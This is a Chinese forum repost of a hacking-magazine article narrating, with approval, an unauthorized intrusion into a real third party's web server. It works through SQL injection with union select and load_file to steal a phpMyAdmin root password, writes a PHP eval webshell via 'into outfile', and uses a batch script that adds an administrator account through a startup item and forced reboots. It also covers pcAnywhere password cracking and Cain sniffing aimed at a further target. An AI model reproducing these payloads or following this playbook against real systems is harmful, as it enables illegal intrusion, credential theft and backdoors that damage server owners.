nohack 发表于 2009-8-31 19:40:24

一次"失败"的入侵渗透计划

                        一次"失败"的入侵渗透计划


出自黑客X档案0908期

                                  一入侵
因为自己刚拿到的一台服务器一夜之间丢了,很是郁闷,于是准备重新找回来。以前是通过网站入侵然后提权得到服务器的,于是准备故伎重演,可当我再次访问网站时候却提示已经关闭。因为是独立服务器旁注就不可能了,于是想到了渗透。扫描了下和该服务器IP处于同一网关下的IP,最终确定了202.98.X.19下的一网站www.xx.com作为入侵对象。
这年头网站入侵几乎都是注入,自然我也想尝试去注入。手工找了下注入点确实没发现,用搜索引擎再借助工具查找也是一无所获。没办法,就在网站里面乱点乱找,看有没有可利用的信息。呵呵,网站存在大量图片,本能的选取某张图片点击右键属性看了链接地址http://www.xx.com/displayimg.php?id=607,看来这图片是插入到数据库中了,顺手加了个单引号报错了,哈哈~~如图1

                           图1
不仅报错了,而且从错误信息我们可以很明显的看到数据库中的IMAGE表存在三个字段,以及php中magic_quotes_gpc=on。从这里基本上就可以判定该处是注入点,虽然gpc=on,但这并不妨碍我们的继续注入,因为该处是一个数字型注入点。通过在该链接后面分别加上and 1=1以及and 1=2,返回如图2,图3。从返回情况来看,更能证明我的判断是正确的!
file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/ksohtml/wps_clip_image-715.png
                              图2

                               图3
这里我们也不用order by来判断字段数了,因为从前面的报错信息已经很清楚有三个字段。直接在链接后添加and 1=2 union select 1,2,3/*,按照以往的经验页面应该出现1到3某个数字,可是却出现了一个下载页面,先下载回来看看。下载到的是一个php文件,打开只有一个数字2.如图4

         图4
这下清楚了,在数字2上进行了数据匹配,其实和以前的在本质上也没啥区别。继续在网址后面分别加上 and 1=2 union select 1,user(),3/* 以及and 1=2 union select 1,version(),3/*获得数据库的用户和版本信息root@localhost ,5.0.22-community-nt-log ,这里我就不截图了。看来数据库是禁止外连的,但是是root权限。数据库版本是5.0以上的,但是我并没有采取爆表爆字段的手法,因为后台没找到,即使爆得管理员账号密码也没多大用。还是用root权限进行load_file这样方便省事。
首先我确定这是一台windows服务器,将http://www.xx.com/displayimg.php?id=607中php小写改成PHP返回正常则是windows反之为linux或unix,结果返回正常截图就省去了。既然是windows服务器,并且服务器的终端是开启的,于是我想直接导出SAM文件进行破解,结果是以失败告终!然后想到了利用select into outfile但是gpc开启了,这个也无法利用。
貌似一下子陷入了死胡同,不知道从何下手。忽然想起某大牛的一句话,有时候你好不容易入侵成功却发现网站存在低级上传漏洞。呵呵,大意就是这样的!于是我用wwwscan扫扫网站目录,虽然没有扫到上传漏洞但是也扫到了一个救命的目录phpmyadmin。赶忙连过去看看,一下子跳到了phpmyadmin登陆界面,一般mysql数据库都会用到这个方便管理。虽然没有账号密码,但是我们有root权限可以load_file任何文件。首先还是来爆得当前网站绝对路径,方法就是http://www.xx.com/phpmyadmin/libraries/select_lang.lib.php,通过此链接一下子得到绝对路径如图5

                           图5
有了绝对路径就好办多了,我们可以导出phpmyadmin的账号密码,一般它保存在配置文件config.inc.php中,于是构造语句                                                                                                                                                                                                               
http://www.xx.com/displayimg.php?id=607%20and%201=2%20union%20select%201,load_file(0x443A5C336B332E6E65745C38385C656B65686F6F5C7068706D7961646D696E5C636F6E6669672E696E632E706870),3/*
括号里面的是D:\3k3.net\88\ekehoo\phpmyadmin\config.inc.php的十六进制形式。将导出文件下载回来,截取部分代码,如图6

                            图6
   看到没,账号root密码ch3coch3。拿着账号密码迅速占领了phpmyadmin。哈哈~~现在我们可以直接导出一个shell了,再也不用管它什么gpc了。利用语句
select '<?php eval($_POST)?>' into outfile 'D:\\3k3.net\\88\e\kehoo\\1.php'
导出一个php一句话木马,注意斜杠要双写否则会导出失败。如图7

                                  图7
现在就是利用客户端进行连接了,如图8

                                 图8
                              二 提权之路
现在网站算是基本拿下了,剩下的就是提权了。我利用一句话客户端上传了好几个php大马,上传倒是没问题,但是只能上传英文的大马,只要是中文的就无法上传了(后来发现是杀软给杀了)。期间还导致服务器卡死重启好几次,当时还以为是管理员发现了。汗~。没办法,只有利用英文的shell进行提权了,首先想到的当然是导出udf.dll提权。但是,被杀杀软给干掉了,郁闷。
试着执行下cmd,竟然成功执行,很是激动,准备直接添加账户失败,看来权限不够。因为那个英文shell提权功能几乎没有,只能手动查找信息。于是开始在各个盘里翻阅,翻了好半天结果一无所获。想到了替换服务,但是得等到管理员重启电脑,那得等到何年何月啊。忽然想到了之前不是可以执行cmd吗?直接写一个提权脚本到启动项然后利用shutdown重启服务器。立即用批处理写了一个简单的提权脚本,代码如下:
@echo off
net user hacker 123456 /add
net localgroup administrators hacker /add
del 1.bat
然后上传到启动项C:\Documents and Settings\Administrator\「开始」菜单\程序\启动,命名为1.bat。紧接着就是执行cmd命令shutdown -r -t 10,该命令意思是十秒钟后重启服务器。激动地等待着,过了一会儿服务器已经重启完毕我用hacker账户进行远程登录,结果无法登陆。我晕,赶紧去看看那个提权脚本还在不在,竟然还躺在那里,说明根本没执行。我一连试了好几次服务器被我重启N次结果还是没有提权成功。
   看来此方法是行不通了,无奈之下只好硬着头皮继续翻阅着各个目录,只能从这里找希望了。翻啊翻,找啊找,总算给找出惊喜来了吧,哈哈,竟然翻出pcanywhere立马下载它的PCA.hwkszx.CIF文件回来利用PCAnyPass.exe破解。成功获得账号密码。如图9

         图9
   然后利用pcanywhere成功登陆到远程服务器,因为习惯了远程桌面,所以给服务器新建了一个账户然后远程连接上去了,如图10

                                    图10
                                 三 失败的渗透之旅


服务器总算是成功拿下了,接着当然就是利用cain进行嗅探进一步渗透,安装好cain后,在配置里面勾选3389这一项,如图11

               图11
开始对我的终极目标202.98.X.60进行嗅探,之前的一切都是为了它在努力。网上有很多关于3389嗅探的例子,在此我想说下,若想成功嗅探到3389账号密码必须是管理员事先已经将账号密码填写好了,然后直接点击连接才可以嗅探出来,否则是无法嗅探到。如图12

                     图12
当然3389能够嗅探到得几率是很小的,能不能成功完全靠运气。我一连嗅探了接近一个星期,除了一堆垃圾数据,什么都没嗅到,后来也没继续下去了。虽然最终目标没达到,但是还是收获到了一台服务器,总算没有”枉费此行“,呵呵,以后有时间再慢慢渗透吧!
                  四 经验总结
文章并没有多少技术含量,都是一些常规技术,关键是入侵时候思路要活跃,能够分析查找出可用信息。刚开始没有找到pcanywhere之前我试了N种办法,服务器被我搞重启了好几次。后来实在无奈,又去各个目录一一翻阅算是查到它了,不然整个提权过程也不可能那么顺利了。提权的时候一定得多多翻阅各个文件,获取可用信息,这点很重要。我是深有体会的,呵呵... 最后得感谢好友爻乂,在入侵过程中的帮助。


页: [1]
查看完整版本: 一次"失败"的入侵渗透计划